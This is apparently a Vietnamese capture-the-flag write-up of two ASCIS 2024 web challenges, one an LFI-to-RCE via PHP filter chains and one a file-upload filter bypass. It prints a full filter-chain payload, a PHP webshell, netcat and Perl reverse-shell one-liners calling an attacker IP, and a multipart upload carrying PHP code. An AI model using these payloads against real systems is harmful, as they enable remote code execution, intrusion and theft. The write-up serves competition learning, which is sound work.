---
# System prepended metadata

title: ASCIS Chung Khảo 2024

---

# Train to server
## Information Gathering
Bài này lúc đầu là 1 bài web blackbox. Nhưng sau đó nó tự dưng trở thành whitebox, mặc dù cũng không cần source lắm để giải ra, nhưng mà giờ cần để build lại và viết writeup :v 

Đầu tiên trang login như sau:
![image](https://hackmd.io/_uploads/S1akS0QxJl.png)

Mình ấn bừa `admin:admin` bypass luôn mới ảo. 
Vào được trang `welcome.php`, trong đây có 2 link và logout.
![image](https://hackmd.io/_uploads/r1gSrA7eyx.png)

- List of page sử dụng `page.php` với parameter `file`. Nhìn qua thì cũng biết ở đây có thể dính lỗi path traversal, cho nên mình sẽ thử sau. Giờ thu thập thông tin tiếp.
![image](https://hackmd.io/_uploads/BkR8HCQxye.png)

- Admin page cũng sử dụng `page.php` với `file=admin/index.php`.
![image](https://hackmd.io/_uploads/HJnpBAQeyx.png)

Xác nhận thực sự có lỗ hổng path traversal.
![image](https://hackmd.io/_uploads/HkEWPCQxJl.png)

Giờ mình sẽ thực hiện bruteforce các path xem có các file nào hay ho hay không. Mình tìm thấy Dockerfile của bài web này
![image](https://hackmd.io/_uploads/HyFE9A7eyg.png)

Flag để trong root cho nên mình cần phải tạo được shell rồi leo quyền trong shell đó rồi. Có cả phần `/var/log/apache2` (trong lúc thi mình có thấy cả file `README.md` và nhiều file khác cơ, giờ ở local setup khác cho nên không scan được, và nhờ file README.md mình mới mò ra được source code của bài web này ở [đây](https://github.com/hacksudo/hacksudoctfv1)). Giờ mình sẽ check xem trong log của apache có gì hay ho không. 

Do bài web thật đã được setup khác và test thử 1 số thứ cho nên `access.log` của bài chứa 1 số thứ mà giúp mình nhận ra lỗ hổng thực sự của bài web. Nhưng với localhost thì khác cho nên mình sẽ chỉ ra lỗ hổng trong code luôn. 

File `page.php` sử dụng hàm `include` với biến `file` 
![image](https://hackmd.io/_uploads/S1cVhAmlyg.png)

Biến `file` mình hoàn toàn kiểm soát cho nên đây là lỗ hổng Local File Inclusion to RCE với PHP Filter Chain. Có 1 bài research về lỗ hổng này rất chi tiết cho nên các bạn có thể đọc ở [đây](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it).

## Exploit
Mình sẽ dùng [tool](https://github.com/synacktiv/php_filter_chain_generator) python để tạo payload luôn. 

Command: `python3 php_filter_chain_generator.py --chain "<?php phpinfo(); ?>"`

```
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

`phpinfo` đã hiện ra ở response
![image](https://hackmd.io/_uploads/BJs3pA7eyg.png)

Command: `python3 php_filter_chain_generator.py --chain "<?php system(\$_GET['cmd']); ?>"`
Phải có dấu `\` để không bị escape. 
![image](https://hackmd.io/_uploads/rkSuAA7eyg.png)

Thêm 1 parameter nữa là `cmd` với lệnh `ls` đã hiện ra kết quả.
![image](https://hackmd.io/_uploads/ryToCA7xkl.png)

Do bài web thật có cài thêm `nc` vào trong container, cho nên lúc thi thì mình và đồng đội đã có thể tạo reverse shell với lệnh netcat sau: `nc IP PORT -e /bin/bash`

Nhưng mà với container mình tự build thì lại không có, cho nên mình sẽ sử dụng cách khác. Mình thấy hầu hết các shell cơ bản đều có cài perl. Cho nên mình sẽ sử dụng payload
`perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`

Thành công bắt được reverse shell.
![image](https://hackmd.io/_uploads/B15zQkNeke.png)

Nhưng chỉ với id là `www-data` thì mình cần leo quyền nữa để đọc flag. Chú ý lại trong Dockerfile, mình thấy web có copy 1 file py custom khá là đáng quan tâm. Nó ở dạng binary cho nên mình cần reverse nó về để đọc. 
![image](https://hackmd.io/_uploads/Sk-27y4lyx.png)

File C đã được compile này sẽ copy python3 từ `/usr/bin` sang `/mnt/py`, chuyển owner của nó thành root nhưng lại được set quyền 777. Nghĩa là mình có thể sử dụng nó để đọc file `/root/root.txt` với payload `/mnt/py -c "open('/root/root.txt').read()"`, nhưng mà lại không được do lỗi permisssion, mình cũng không hiểu tại sao.

Fun fact: Có vẻ như đội nào đó đã leo được root với setup của web thật nhưng mà lại nghịch ngợm config của web do có quyền root cho nên server bị crash. Và BTC đã chuyển flag thật vào `/var/www/html/flag.txt` luôn (File đó lúc đầu là bị để fake flag và bị leak path từ file docker-compose).
![image](https://hackmd.io/_uploads/HJ8IXWNe1x.png)

# DocMan

Bài này là 1 bài whitebox sử dụng Apache2. 
Lúc đầu mình nghĩ bài này là 1 bài không thể exploit được file upload vulnerability vì config cũng khá là căng. 
![image](https://hackmd.io/_uploads/ry1wEW4lyl.png)

Mình tưởng `ratelimiter.php` thì intend của bài là lỗ hổng upload file kết hợp với race condition, nhưng mà lúc mình giải ra được thì cảm thấy nó thực sự là rất đơn giản, không như lúc đầu mình nghĩ phức tạp như vậy.

Các hàm filter sẽ như sau:

```php=
<?php
function createGuid() {
    if (function_exists('com_create_guid') === true)
        return strtolower(str_replace("-", "", trim(com_create_guid(), '{}')));
    return strtolower(sprintf('%04X%04X%04X%04X%04X%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535)));
}
function checkFileName($name) {
	return preg_match("/\.(docx|pdf)$/", strtolower($name));
}
function checkFileType($type) {
	return preg_match("/^(application\/vnd\.openxmlformats\-officedocument\.wordprocessingml\.document|application\/pdf)$/", strtolower($type));
}
function checkFileSize($size) {
	return ($size >= 1000 && $size <= 100000 ? true : false);
}
function checkFileMagic($fn) {
	$handle = fopen($fn, 'r');
    $magic = strtoupper(bin2hex(fread($handle, 8)));
    fclose($handle);
	return ($magic == "504B030414000600" || substr($magic, 0, 8)  == "25504446");
}
function sanitizeFileName($fn) {
	return preg_replace("/[\s]/", "-", preg_replace("/[\<\'\|\$\_\&\#\.\/\>]/", "", escapeshellarg($fn)));
}
```

Check mimetype, check filesize, check magic file signature thì bypass đơn giản rồi, nhưng mà check file name chỉ có thể là file `docx` hoặc là `pdf`, không thể bypass được regex này được  do nó sử dụng `/\.(docx|pdf)$/` nghĩa là bắt buộc file extension này ở cuối. 

Mình đã không đọc kĩ hàm xử lí khi upload cho nên mới nghĩ nó là 1 file upload vuln không thể exploit. 

```php=
<?php
function upload($p) {
	$file = $_FILES["newdoc"];
	var_dump($file);
	$err = "";
	$givenName = "";
	if (!isset($file)) $err = "NO_FILE";
	else if (!checkFileName($file["name"])) $err = "FORBIDDEN_NAME";
	else if (!checkFileType($file["type"])) $err = "FORBIDDEN_TYPE";
	else if (!checkFileSize($file["size"])) $err = "FORBIDDEN_SIZE";
	else if (!checkFileMagic($file["tmp_name"])) $err = "FORBIDDEN_TYPE";
	if ($err == "") {
		$arr = explode(".", $file["name"]);
		$guid = createGuid();
		$givenName = sanitizeFileName($arr[0])."_".$guid;
		move_uploaded_file($file["tmp_name"], "files/".$guid.".".sanitizeFileName($arr[1]));
		
	}
	return json_encode([
		"err" => $err, 
		"givenName" => $givenName
	]);
}
?>
```

Logic của bài vẫn sẽ là check các file name, filetype, filesize và magic file như bình thường. Nhưng phần sau đó nó lại xử lí là explode filename ra. 
`$arr = explode(".", $file["name"]);`
Sau đó vẫn sẽ nối phần tử thứ 0 của mảng với guid vừa được tạo.

```php
$guid = createGuid();
$givenName = sanitizeFileName($arr[0])."_".$guid;
```

Nhưng cuối cùng lại move_uploaded_file với file extension là phần tử thứ 2 của mảng

```php
move_uploaded_file($file["tmp_name"], "files/".$guid.".".sanitizeFileName($arr[1]));
```

Không đọc kĩ đoạn này, vậy mình có thể bypass file extension với tên file kiểu là `payload.php.pdf`

`arr[0]` là `payload` và `arr[1]` là `php` sẽ được nối vào file được upload.

Vậy payload của bài này sẽ là 

```
------WebKitFormBoundary4kn6ush8h9b2a7AO
Content-Disposition: form-data; name="newdoc"; filename="test1.php.pdf"
Content-Type: application/pdf

%PDF-1.7
AAA
<?php system('cat /var/www/data/flag.txt'); ?>
%%EOF
------WebKitFormBoundary4kn6ush8h9b2a7AO--
```

1. Bypass file name với `test1.php.pdf` như đã nói ở trên
2. Content-type vẫn sẽ để là `application/pdf`
3. File size thì các copy lại đoạn `AAA` cho đến khi nào đủ 1MB
4. Signature chỉ cần để `%PDF-1.7`
5. Payload php của mình sẽ là đọc luôn file flag. 

![image](https://hackmd.io/_uploads/H1rnKWNgJx.png)
Lấy được given name, giờ truy cập nó trong files/ là xong. Các array trong kết quả kia là mình var_dump ra để debug thôi.

![image](https://hackmd.io/_uploads/H1EAYWNgyx.png)
